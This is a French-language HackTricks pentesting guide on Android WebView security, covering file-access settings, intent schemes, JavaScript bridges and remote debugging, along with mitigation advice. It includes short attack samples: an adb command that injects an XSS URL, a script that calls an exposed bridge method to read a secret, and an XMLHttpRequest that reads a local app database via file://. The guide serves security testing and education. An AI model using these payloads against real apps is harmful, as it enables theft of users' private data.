hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

9.9 KiB
Raw Blame History

Attaques Webview

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Guide sur les configurations et la sécurité de WebView

Aperçu des vulnérabilités de WebView

Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.

Exemple de WebView

Accès aux fichiers dans les WebViews

Par défaut, les WebViews permettent l'accès aux fichiers. Cette fonctionnalité est contrôlée par la méthode setAllowFileAccess(), disponible depuis Android API niveau 3 (Cupcake 1.5). Les applications avec l'autorisation android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers depuis le stockage externe en utilisant un schéma d'URL de fichier (file://chemin/vers/fichier).

Fonctionnalités obsolètes : Accès universel et accès aux fichiers à partir d'URL

  • Accès universel à partir d'URL de fichier : Cette fonctionnalité obsolète permettait des requêtes entre origines à partir d'URL de fichier, posant un risque de sécurité important en raison des attaques potentielles de type XSS. Le paramètre par défaut est désactivé (false) pour les applications ciblant Android Jelly Bean et plus récent.
  • Pour vérifier ce paramètre, utilisez getAllowUniversalAccessFromFileURLs().
  • Pour modifier ce paramètre, utilisez setAllowUniversalAccessFromFileURLs(boolean).
  • Accès aux fichiers à partir d'URL de fichier : Cette fonctionnalité, également obsolète, contrôlait l'accès au contenu à partir d'autres URL de schéma de fichier. Comme l'accès universel, son paramètre par défaut est désactivé pour une sécurité renforcée.
  • Utilisez getAllowFileAccessFromFileURLs() pour vérifier et setAllowFileAccessFromFileURLs(boolean) pour définir.

Chargement sécurisé des fichiers

Pour désactiver l'accès au système de fichiers tout en accédant toujours aux ressources et aux actifs, la méthode setAllowFileAccess() est utilisée. Avec Android R et supérieur, le paramètre par défaut est false.

  • Vérifiez avec getAllowFileAccess().
  • Activez ou désactivez avec setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accéder aux ressources et aux actifs locaux, se conformant à la politique Same-Origin, facilitant ainsi la gestion de CORS.

loadUrl

Il s'agit d'une fonction courante utilisée pour charger des URL arbitraires dans un webview :

webview.loadUrl("<url here>")

Bien sûr, un attaquant potentiel ne devrait jamais pouvoir contrôler l'URL qu'une application va charger.

JavaScript et Gestion des Intent Scheme

  • JavaScript : Désactivé par défaut dans les WebViews, il peut être activé via setJavaScriptEnabled(). Il est conseillé de faire preuve de prudence car activer JavaScript sans les protections appropriées peut introduire des vulnérabilités de sécurité.
  • Intent Scheme : Les WebViews peuvent gérer le schéma intent, ce qui peut potentiellement conduire à des exploits s'ils ne sont pas gérés avec soin. Une vulnérabilité exemple impliquait un paramètre WebView exposé "support_url" qui pouvait être exploité pour exécuter des attaques de script entre sites (XSS).

WebView Vulnérable

Exemple d'exploitation en utilisant adb:

{% code overflow="wrap" %}

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"

{% endcode %}

Pont JavaScript

Une fonctionnalité est fournie par Android qui permet à JavaScript dans un WebView d'invoquer des fonctions d'application Android natives. Cela est réalisé en utilisant la méthode addJavascriptInterface, qui intègre JavaScript avec les fonctionnalités natives d'Android, appelé un pont JavaScript WebView. Il est conseillé de faire preuve de prudence car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet Interface JavaScript enregistré, ce qui pose un risque de sécurité si des informations sensibles sont exposées via ces interfaces.

  • Une prudence extrême est requise pour les applications ciblant les versions d'Android inférieures à 4.2 en raison d'une vulnérabilité permettant l'exécution de code à distance via JavaScript malveillant, exploitant la réflexion.

Implémentation d'un pont JavaScript

  • Les interfaces JavaScript peuvent interagir avec le code natif, comme le montrent les exemples où une méthode de classe est exposée à JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge est activé en ajoutant une interface à la WebView :
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
  • Potentiel d'exploitation via JavaScript, par exemple, via une attaque XSS, permet d'appeler des méthodes Java exposées :
<script>alert(javascriptBridge.getSecret());</script>
  • Pour atténuer les risques, limitez l'utilisation du pont JavaScript au code livré avec l'APK et empêchez le chargement de JavaScript à partir de sources distantes. Pour les anciens appareils, définissez le niveau API minimum à 17.

Exécution de code à distance basée sur la réflexion (RCE)

  • Une méthode documentée permet d'atteindre une RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation @JavascriptInterface empêche l'accès non autorisé aux méthodes, limitant la surface d'attaque.

Débogage à distance

  • Le débogage à distance est possible avec Chrome Developer Tools, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu de WebView.

Activation du débogage à distance

  • Le débogage à distance peut être activé pour tous les WebViews dans une application en :
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Pour activer conditionnellement le débogage en fonction de l'état de débogage de l'application :
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrer des fichiers arbitraires

  • Démontre l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks: